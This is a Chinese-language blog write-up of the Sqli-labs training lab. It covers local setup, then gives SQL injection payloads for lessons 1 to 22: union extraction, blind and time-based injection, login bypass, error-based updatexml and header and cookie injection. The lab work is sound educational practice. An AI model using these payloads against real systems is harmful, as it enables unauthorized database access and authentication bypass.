【Sqli-labs】SQL-Injection

2018-02-27  本文已影响59人  Kirin_say

Sqli-labs下载及环境搭建(Windows)

从github上将项目源码下载下来:
部署到phpstudy:
将下载的项目中的文件复制到文件夹:

......\phpStudy\PHPTutorial\WWW
Code

更改"......\phpStudy\PHPTutorial\WWW\sql-connections"下的db-creds.inc文件:

<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";

?>

"$dbpass" 改为自己的Mysql密码
启动phpstudy
打开:

http://127.0.0.1 或 http://localhost

看到:


图片.png

点击:Setup/reset Database for labs
看到:


Success
到这里,便搭建完毕
返回主页,即可开始:

Sqli-labs challenge

Less-1

直接在Less-1中说明一些常用方法
后面利用重复的就不再说明
查看正常返回界面:

http://127.0.0.1/Less-1/?id=1

检测注入点:

http://127.0.0.1/Less-1/?id=1'

错误信息:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 

存在漏洞,且查询语句用单引号闭合
发现存在表user:

http://127.0.0.1/Less-1/?id=1'and exists(select * from users) --+
或者
http://127.0.0.1/Less-1/?id=1' and 0<(select count(*) from users)--+

这里注意:

注释可以还可以用"#",但必须url编码成:%23,因为#在url中有固定意义,表示页面中的锚点
用"--+"而不是"--"是因为"+"在url码中表示空格,而"--"注释后面紧跟一个空格
/*......*/也是注释,多用于多行注释,但sql注入中我们不能闭合右端
但我们常用/**/代替空格来绕过空格过滤情况

查看users表中记录数:

http://127.0.0.1/Less-1/?id=1' and 12<(select count(*) from users)--+
返回正确页面
http://127.0.0.1/Less-1/?id=1' and 13<(select count(*) from users)--+
返回错误界面

所以users表中一共13条记录

另一种思路
先确定列数:

http://127.0.0.1/Less-1/?id=1' union select 1,2 --+
返回错误
http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+
返回正确
或者利用order by:
http://127.0.0.1/Less-1/?id=1'  order by 3 --+

列数为3,且通过:

http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+

发现会返回页面第二第三列
列出数据库:

http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

注意:union使用需要前后的表的列数相同,且当第一个查询没有结果时返回第二个结果
列出表名:

http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+

猜测列名:

http://127.0.0.1/Less-1/?id=1' and exists(select username from users) --+
或者
http://127.0.0.1/Less-1/?id=1' and 13=(select count(*) from users where  len(username)>0)--+
或者:
http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(column_name),3  from information_schema.columns --+(但是这里页面限制了返回字符串长度,所以没有多大用)

爆破字段:

http://127.0.0.1/Less-1/?id=1' and (select ascii(mid(username,1,1)) from users limit 0,1)>0  --+//不断改变数字,爆破username第一条记录的第一个字符
或者:
http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(username),3  from users --+

同时可利用一些数据库中常用存储数据库信息的表直接获得表,列,用户名等信息

例如:
information_schema数据库中的:
SCHEMATA 保存数据库中的库名
TABLES中保存着数据库中的表名
TABLES中table_name字段保存数据库中所有表名
TABLES中table_schema字段保存对应表所在的数据库
对应TABLES表还有COLUMNS表
select database();  会直接回显当前数据库名
select user(); 会直接回显当前数据库用户名
......
具体更多情况可以直接在本地的数据库中测试看到,这里不再细说(情况太多),后面应该会遇到

Less-2

检测注入点:

http://127.0.0.1/Less-1/?id=1'

出现错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 

推断查询语句没有使用单引号:

http://127.0.0.1/Less-1/?id=1--+
返回正确

Less-3

检测注入点:

http://127.0.0.1/Less-1/?id=1'

错误信息:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 

推测单引号和小括号闭合:

http://127.0.0.1/Less-3/?id=1')--+
返回正确

Less-4

检测注入点:

http://127.0.0.1/Less-4/?id=1'
没有反应,猜测应该是过滤问题
http://127.0.0.1/Less-4/?id=1"
发生错误回显

错误信息:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

推测双引号和小括号闭合

http://127.0.0.1/Less-4/?id=1")--+
返回正确

回过头查看一下源码:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

双引号内可以包含单引号,所以 id=1' 失效

Less-5

http://127.0.0.1/Less-5/?id=1'

回显:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

推测单引号闭合:

http://127.0.0.1/Less-5/?id=1'--+

剩下便是基于回显的注入
利用正常回显有:

You are in...........

Less-6

与Less-5相同
不过闭合方式为双引号:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1

Less-7

测试:

http://127.0.0.1/Less-7/?id=1'--+

回显:

You have an error in your SQL syntax

猜测后台过滤--+
或者单引号加其他符号(比如括号)闭合
这里直接

http://127.0.0.1/Less-7/?id=1' and '1'='1

回显正确

http://127.0.0.1/Less-7/?id=1' and '1'='2

回显错误,所以这里可以直接用这种方式闭合
查看源码发现:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

所以这里也可以用单引号加两个括号闭合:

http://127.0.0.1/Less-7/?id=1'))--+

Less-8

单引号闭合:

http://127.0.0.1/Less-8/?id=1'--+

剩下是基于bool的盲注
正确查询返回:

You are in...........

错误查询无返回值

Less-9

单引号闭合且基于时间的盲注:

http://127.0.0.1/Less-9/?id=1' or sleep(5)--+

Less-10

双引号闭合且基于时间的盲注:

127.0.0.1/Less-10/?id=1"  or sleep(5) --+

Less-11

普通的绕过登录

username:1' or '1'='1' or '1'='1
password:1

这里构造两个or是为了避免后台查询时and与or的优先级问题
(and>or)
后台语句:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

显然这里只有一个or会使'1'='1'与后面的and结合,而前面的unname='1'(unname为1的数据不存在)显然值是0,最后sql语句变成:

@$sql="SELECT username, password FROM users WHERE 0 or 0 LIMIT 0,1";

而多加一个or,最后:

@$sql="SELECT username, password FROM users WHERE 1 or 0 LIMIT 0,1";

从而成功绕过
当然,如果知道一个username,也可以直接用一个or绕过:

username:admin' or '1'='1
password:1

还可以直接注释掉后面的password来登录

username:1' or 1=1# 
password:1

Less-12

单引号无效
尝试双引号时有错误回显:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1") LIMIT 0,1' at line 1

推测双引号加括号闭合:

username:1") or '1'='1' or ("1")=("1
password:1

成功绕过登录

Less-13

单引号加括号闭合:

username:1') or '1'='1' or ('1')=('1
password:1

Less-14

盲注,没有错误回显
手工测试发现是双引号闭合:

username:1" or 1=1 or "1"="1
password:1

Less-15

同Less-14,盲注,测试发现是单引号闭合:

username:1' or 1=1 or '1'='1
password:1

Less-16

同Less-14,无回显的盲注
测试闭合方式是双引号加括号:

username:1") or 1=1 or ("1")=("1
password:1

Less-17

username处进行了check_input($_POST['uname']);
注入点在password处
看了一些文章,这里update,适合xpath报错注入:

username:admin
password:' or updatexml(1,concat(0x7e,database(),0x7e),1)#

同时如果:

' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#

则会报错:

You can't specify target table 'users' for update in FROM clause

因为update一张表的同时不可查询这张表:
我们可以构造中间表来绕过这个错误:

' or updatexml(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e ),1)#

(这里如果后有select前有"1' or",则可能会导致update正确而不执行后面用于报错的select语句,所以使用" 'or"(datebase()没有select,因此两种都能成功回显))

Less-18

页面信息:

Your IP ADDRESS is: 127.0.0.1

显然应该是http头注入
检测发现注入点在User-Agent处
注入方式和前面相同
不过这里注意:要先登录成功后再注入才有报错回显

Less-19

和上题类似,登陆后发现回显:

Your Referer is: http://127.0.0.1:98/Less-19/

注入点在:Referer

Less-20

普通cookie注入
注入方式和前面相同

Less-21

cookie+base64
注入方式和前面相同,只是需要将注入语句进行base64编码

Less-22

cookie+base64
不过cookie的uname使用了双引号进行闭合
其他和上题相同

Less-23

上一篇下一篇

猜你喜欢

热点阅读